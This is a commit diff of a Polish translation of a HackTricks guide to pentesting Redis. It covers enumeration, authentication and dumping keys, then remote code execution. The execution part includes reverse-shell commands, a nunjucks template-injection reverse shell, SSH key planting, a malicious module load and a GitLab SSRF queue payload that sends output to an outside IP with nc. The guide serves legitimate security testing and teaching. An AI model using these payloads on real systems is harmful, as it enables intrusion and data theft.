Translated ['network-services-pentesting/6379-pentesting-redis.md'] to p

This commit is contained in:
Translator 2024-02-14 23:26:09 +00:00
parent 117feb3142
commit 2698258033

View file

@ -2,36 +2,36 @@
<details> <details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks: Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy! Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Spostrzeżenia dotyczące hakerstwa**\ **Wgląd w Hakowanie**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakowania
**Aktualności na żywo o hakerstwie**\ **Aktualności z Hakowania na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnościom i wglądom w czasie rzeczywistym
**Najnowsze ogłoszenia**\ **Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś! **Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Podstawowe informacje ## Podstawowe informacje
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarty (licencja BSD), w pamięci podręcznej **sklep struktur danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości). Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarty system (licencja BSD), przechowujący dane w pamięci, używany jako baza danych, pamięć podręczna i broker wiadomości).
Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md). Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md).
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
``` ```
## Automatyczne wyliczanie ## Automatyczne wyliczanie
Niektóre narzędzia automatyczne, które mogą pomóc w uzyskaniu informacji z instancji Redis: Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
```bash ```bash
nmap --script redis-info -sV -p 6379 <IP> nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server msf> use auxiliary/scanner/redis/redis_server
@ -51,40 +51,40 @@ msf> use auxiliary/scanner/redis/redis_server
### Baner ### Baner
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie przez gniazdo** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to bardzo dziwne). Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie przez gniazdo** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale jest to bardzo dziwne).
W przypadku standardowej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`: W zwykłej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`:
```bash ```bash
nc -vn 10.10.10.10 6379 nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
``` ```
**Pierwszą komendą**, którą możesz spróbować, jest **`info`**. Może ona zwrócić wynik z informacjami o instancji Redis lub coś podobnego może zostać zwrócone: Pierwszą komendą, którą możesz spróbować, jest **`info`**. Może zwrócić wynik z informacjami o instancji Redis lub coś w tym rodzaju:
``` ```
-NOAUTH Authentication required. -NOAUTH Authentication required.
``` ```
W tym ostatnim przypadku oznacza to, że **potrzebujesz prawidłowych danych uwierzytelniających**, aby uzyskać dostęp do instancji Redis. W tym ostatnim przypadku oznacza to, że **potrzebujesz prawidłowych poświadczeń** dostępu do instancji Redis.
### Uwierzytelnianie Redis ### Autoryzacja Redis
**Domyślnie** Redis można uzyskać dostęp **bez danych uwierzytelniających**. Jednak można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\ Domyślnie Redis można uzyskać dostęp **bez poświadczeń**. Jednakże można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\ Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i uruchamiając: `config set requirepass p@ss$12E45`.\
Można również skonfigurować **nazwę użytkownika** w parametrze `masteruser` w pliku _**redis.conf**_. Dodatkowo, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_.
{% hint style="info" %} {% hint style="info" %}
Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "**default**".\ Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "**default**".\
Należy również zauważyć, że **nie ma możliwości zewnętrznego sprawdzenia**, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem. Zauważ również, że **nie ma sposobu, aby zewnętrznie sprawdzić**, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem.
{% endhint %} {% endhint %}
W przypadkach takich jak ten będziesz **musiał znaleźć prawidłowe dane uwierzytelniające**, aby móc korzystać z Redis, więc możesz spróbować [**przełamać**](../generic-methodologies-and-resources/brute-force.md#redis) go.\ W przypadkach takich jak ten, będziesz **musiał znaleźć prawidłowe poświadczenia** do interakcji z Redis, więc możesz spróbować [**przeprowadzić atak siłowy**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Jeśli znajdziesz prawidłowe dane uwierzytelniające, musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia: **Jeśli znajdziesz prawidłowe poświadczenia, musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
```bash ```bash
AUTH <username> <password> AUTH <username> <password>
``` ```
**Poprawne dane uwierzytelniające** zostaną odpowiedziane jako: `+OK` **Poprawne dane uwierzytelniające** zostaną odpowiedziane: `+OK`
### **Weryfikacja po uwierzytelnieniu** ### **Uwierzytelniona enumeracja**
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskano poprawne dane uwierzytelniające, można rozpocząć proces weryfikacji usługi za pomocą następujących **komend**: Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś poprawne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
```bash ```bash
INFO INFO
[ ... Redis response with info ... ] [ ... Redis response with info ... ]
@ -93,29 +93,29 @@ client list
CONFIG GET * CONFIG GET *
[ ... Get config ... ] [ ... Get config ... ]
``` ```
**Inne polecenia Redis** można znaleźć [tutaj](https://redis.io/topics/data-types-intro) **i** [tutaj](https://lzone.de/cheat-sheet/Redis)**.** **Inne polecenia Redis** [**znajdują się tutaj**](https://redis.io/topics/data-types-intro) **i** [**tutaj**](https://lzone.de/cheat-sheet/Redis)**.**
Należy zauważyć, że **polecenia Redis dla instancji mogą być zmieniane nazwą** lub usunięte w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB: Zauważ, że **polecenia Redis instancji mogą być zmienione nazwane** lub usunięte w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB:
``` ```
rename-command FLUSHDB "" rename-command FLUSHDB ""
``` ```
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis można znaleźć tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) Więcej informacji na temat bezpiecznej konfiguracji usługi Redis znajdziesz tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Możesz również **monitorować w czasie rzeczywistym wykonywane polecenia Redis** za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą polecenia **`slowlog get 25`** Możesz również **monitorować w czasie rzeczywistym wykonywane polecenia Redis** za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`**
Więcej interesujących informacji na temat innych poleceń Redis można znaleźć tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) Znajdź więcej interesujących informacji na temat innych poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumpowanie bazy danych** ### **Dumpowanie bazy danych**
Wewnątrz Redis **bazy danych są numerowane, zaczynając od 0**. Można sprawdzić, czy któraś z nich jest używana w wyniku polecenia `info` w sekcji "Keyspace": Wewnątrz Redis **bazy danych są numerowane, zaczynając od 0**. Możesz sprawdzić, czy któraś jest używana w wyniku polecenia `info` w sekcji "Keyspace":
![](<../.gitbook/assets/image (315).png>) ![](<../.gitbook/assets/image (315).png>)
Można również uzyskać wszystkie **keyspace'y** (bazy danych) za pomocą: Możesz także uzyskać wszystkie **keyspaces** (bazy danych) za pomocą:
``` ```
INFO keyspace INFO keyspace
``` ```
W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis używa bazy danych 0. Aby na przykład wyeksportować bazę danych 1, musisz wykonać: W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis będzie używał bazy danych 0. Aby wyeksportować na przykład bazę danych 1, należy wykonać:
```bash ```bash
SELECT 1 SELECT 1
[ ... Indicate the database ... ] [ ... Indicate the database ... ]
@ -124,39 +124,42 @@ KEYS *
GET <KEY> GET <KEY>
[ ... Get Key ... ] [ ... Get Key ... ]
``` ```
W przypadku otrzymania błędu `-WRONGTYPE Operacja na kluczu, który przechowuje wartość niewłaściwego typu` podczas uruchamiania `GET <KLUCZ>`, oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia. W przypadku otrzymania następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>` oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia go.
Aby poznać typ klucza, użyj polecenia `TYPE`, poniżej przedstawiono przykład dla kluczy listy i hasza. Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasza.
``` ```bash
TYPE <KEY> TYPE <KEY>
[ ... Type of the Key ... ] [ ... Type of the Key ... ]
LRANGE <KEY> 0 -1 LRANGE <KEY> 0 -1
[ ... Get list items ... ] [ ... Get list items ... ]
HGET <KEY> <FIELD> HGET <KEY> <FIELD>
[ ... Get hash item ... ] [ ... Get hash item ... ]
```
**Zrzutuj bazę danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub pythona** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> # If the type used is weird you can always do:
DUMP <key>
```
**Wyciek bazy danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub pythona** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów! Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w hakerstwo**\ **Spojrzenie na Hacking**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
**Aktualności na żywo o hakerstwie**\ **Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
**Najnowsze ogłoszenia**\ **Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś! **Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Redis RCE ## Redis RCE
### Interaktywna powłoka ### Interaktywna Powłoka
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub odwróconą powłokę w Redis (<=5.0.5). [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę odwróconą w Redis(<=5.0.5).
``` ```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP> ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
``` ```
@ -174,13 +177,13 @@ OK
10.85.0.52:6379> save 10.85.0.52:6379> save
OK OK
``` ```
Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętając o przywróceniu bazy danych. Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj o przywróceniu bazy danych.
### Szablon Webshell ### Szablon Webshell
Podobnie jak w poprzedniej sekcji, możesz również nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać shell. Podobnie jak w poprzednim rozdziale, możesz nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać dostęp do powłoki.
Na przykład, zgodnie z [**tym opisem**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **rev shell w html** interpretowany przez **silnik szablonów nunjucks:** Na przykład, patrząc na [**ten opis**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **powłokę odwróconą** w plik HTML interpretowany przez silnik szablonów **nunjucks:**
```javascript ```javascript
{{ ({}).constructor.constructor( {{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'), "var net = global.process.mainModule.require('net'),
@ -195,19 +198,19 @@ sh.stderr.pipe(client);
)()}} )()}}
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Zauważ, że **wiele silników szablonów** przechowuje szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy szablon **nie zostanie wykonany**. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak DoS na usługę (i oczekiwać, że zostanie automatycznie uruchomiona ponownie). Zauważ, że **kilka silników szablonów przechowuje** szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy **nie zostanie wykonany**. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak typu DoS na usługę (i oczekiwać, że zostanie ona automatycznie uruchomiona).
{% endhint %} {% endhint %}
### SSH ### SSH
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration) Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Proszę pamiętać, że wynik **`config get dir`** może ulec zmianie po wykonaniu innych poleceń wykorzystujących podatność. Sugeruję uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia **`config get dir`** można znaleźć **katalog domowy** użytkownika **redis** (zazwyczaj _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz katalog domowy innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz go również wykorzystać: Proszę pamiętać, że wynik polecenia **`config get dir`** może ulec zmianie po wykonaniu innych poleceń eksploitacyjnych. Zaleca się uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia **`config get dir`** możesz znaleźć **katalog domowy** użytkownika **redis** (zazwyczaj _/var/lib/redis_ lub _/home/redis/.ssh_), co pozwoli Ci wiedzieć, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp za pomocą ssh **z użytkownikiem redis**. Jeśli znasz katalog domowy innego ważnego użytkownika, do którego masz uprawnienia do zapisu, możesz go również wykorzystać:
1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`** 1. Wygeneruj parę kluczy publiczny-prywatny ssh na swoim komputerze: **`ssh-keygen -t rsa`**
2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Zaimportuj plik do Redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 3. Zaimportuj plik do redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Zapisz klucz publiczny w pliku **authorized\_keys** na serwerze Redis: 4. Zapisz klucz publiczny w pliku **authorized\_keys** na serwerze redis:
``` ```
root@Urahara:~# redis-cli -h 10.85.0.52 root@Urahara:~# redis-cli -h 10.85.0.52
@ -218,7 +221,7 @@ OK
10.85.0.52:6379> save 10.85.0.52:6379> save
OK OK
``` ```
5. Wreszcie, możesz **ssh** do **serwera Redis** z kluczem prywatnym: **ssh -i id\_rsa redis@10.85.0.52** 5. Wreszcie, możesz **ssh** na **serwer redis** z kluczem prywatnym: **ssh -i id\_rsa redis@10.85.0.52**
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) **Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
@ -237,12 +240,12 @@ Ostatni przykład dotyczy Ubuntu, dla **Centos**, powyższe polecenie powinno by
Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://www.v2ex.com/t/286981#reply14) Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://www.v2ex.com/t/286981#reply14)
### Ładowanie modułu Redis ### Załaduj moduł Redis
1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), możesz **skompilować moduł Redis do wykonywania dowolnych poleceń**. 1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) możesz **skompilować moduł redis do wykonywania dowolnych poleceń**.
2. Następnie potrzebujesz sposobu na **przesłanie skompilowanego** modułu. 2. Następnie potrzebujesz sposobu **wgrania skompilowanego** modułu
3. **Załaduj przesłany moduł** w czasie działania za pomocą `MODULE LOAD /ścieżka/do/mymodule.so` 3. **Załaduj wgrany moduł** podczas działania za pomocą `MODULE LOAD /ścieżka/do/mymodule.so`
4. **Wyświetl załadowane moduły**, aby sprawdzić, czy został poprawnie załadowany: `MODULE LIST` 4. **Wyświetl załadowane moduły** aby sprawdzić, czy został poprawnie załadowany: `MODULE LIST`
5. **Wykonaj** **polecenia**: 5. **Wykonaj** **polecenia**:
``` ```
@ -254,17 +257,17 @@ Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://ww
``` ```
6. Wyłącz moduł w dowolnym momencie: `MODULE UNLOAD mymodule` 6. Wyłącz moduł w dowolnym momencie: `MODULE UNLOAD mymodule`
### Bypassowanie piaskownicy LUA ### Bypass bezpiecznej przestrzeni LUA
[Tutaj](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonywania **kodu Lua w piaskownicy**. W połączonym poście możesz zobaczyć, **jak go nadużyć** za pomocą funkcji **dofile**, ale [najwyraźniej](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to już nie jest możliwe. W każdym razie, jeśli możesz **obejść piaskownicę Lua**, możesz **wykonywać dowolne** polecenia w systemie. Ponadto, z tego samego postu możesz zobaczyć kilka **opcji powodujących DoS**. [Tutaj](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonania **kodu Lua w bezpiecznej przestrzeni**. W połączonym poście możesz zobaczyć, **jak to wykorzystać** używając funkcji **dofile**, ale [podobno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to już nie jest możliwe. W każdym razie, jeśli uda ci się **obejść bezpieczną przestrzeń Lua**, możesz **wykonywać dowolne** polecenia w systemie. Ponadto, z tego samego posta możesz zobaczyć kilka **opcji wywołania DoS**.
Niektóre **CVE do ucieczki z LUA**: Niektóre **CVE umożliwiające ucieczkę z LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) * [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Moduł Master-Slave ### Moduł Master-Slave
Operacje na głównym Redisie są automatycznie synchronizowane na Redisie podrzędnym, co oznacza, że możemy traktować podatny Redis jako Redis podrzędny, podłączony do głównego Redisu, który jest pod naszą kontrolą, a następnie możemy wprowadzać polecenia do naszego własnego Redisa. Wszystkie operacje na głównym redisie są automatycznie synchronizowane z redisem podrzędnym, co oznacza, że możemy traktować podatny redis jako redis podrzędny, podłączony do głównego redisu, który jest pod naszą kontrolą, dzięki czemu możemy wprowadzać polecenia do naszego własnego redisu.
``` ```
master redis : 10.85.0.51 (Hacker's Server) master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server) slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -276,9 +279,9 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello set mykey hello
set mykey2 helloworld set mykey2 helloworld
``` ```
## SSRF rozmawiający z Redisem ## SSRF rozmawiając z Redisem
Jeśli możesz wysłać żądanie w **czystym tekście** do **Redis**, możesz z nim **komunikować się**, ponieważ Redis będzie odczytywał żądanie linia po linii i odpowiadał tylko na linie, które rozumie: Jeśli możesz wysłać żądanie **czystego tekstu** do **Redis**, możesz z nim **komunikować się**, ponieważ Redis będzie czytał żądanie linijka po linijce i odpowiadał tylko błędami na linie, których nie rozumie:
``` ```
-ERR wrong number of arguments for 'get' command -ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:' -ERR unknown command 'Host:'
@ -288,50 +291,50 @@ Jeśli możesz wysłać żądanie w **czystym tekście** do **Redis**, możesz z
-ERR unknown command 'Cache-Control:' -ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:' -ERR unknown command 'Connection:'
``` ```
Dlatego jeśli znajdziesz podatność **SSRF** na stronie internetowej i możesz **kontrolować** niektóre **nagłówki** (może za pomocą podatności CRLF) lub **parametry POST**, będziesz mógł wysyłać dowolne polecenia do Redis. Dlatego jeśli znajdziesz **lukę SSRF** na stronie internetowej i będziesz mógł **kontrolować** niektóre **nagłówki** (być może za pomocą luki CRLF) lub **parametry POST**, będziesz mógł wysyłać dowolne polecenia do Redis.
### Przykład: Gitlab SSRF + CRLF do Shell ### Przykład: Gitlab SSRF + CRLF na Shell
W wersji **Gitlab11.4.7** odkryto podatność **SSRF** oraz **CRLF**. Podatność **SSRF** występowała w funkcji **importowania projektu z adresu URL** podczas tworzenia nowego projektu i umożliwiała dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (co spowoduje dostęp do 127.0.0.1), a podatność **CRLF** była wykorzystywana poprzez dodanie znaków %0D%0A do **adresu URL**. W **Gitlab11.4.7** odkryto **lukę SSRF** oraz **CRLF**. **Luka SSRF** występowała w **funkcji importowania projektu z adresu URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (co pozwala na dostęp do 127.0.0.1), a **luka CRLF** była wykorzystywana poprzez dodanie znaków **%0D%0A** do **adresu URL**.
Dlatego możliwe było **wykorzystanie tych podatności do komunikacji z instancją Redis**, która **zarządza kolejkami** w **gitlabie** i wykorzystanie tych kolejek do **wykonania kodu**. Payload do wykorzystania kolejki Redis to: Dlatego było możliwe **wykorzystanie tych luk do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużyć tych kolejek do **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to:
``` ```
multi multi
sadd resque:gitlab:queues system_hook_push sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec exec
``` ```
A następnie **zakoduj** żądanie **wykorzystujące SSRF** i **CRLF**, aby wykonać polecenie `whoami` i przesłać wynik za pomocą `nc`. Oto to: A żądanie **kodowane URL** wykorzystujące **SSRF** i **CRLF** do wykonania polecenia `whoami` i przesłania wyniku za pomocą `nc` to:
``` ```
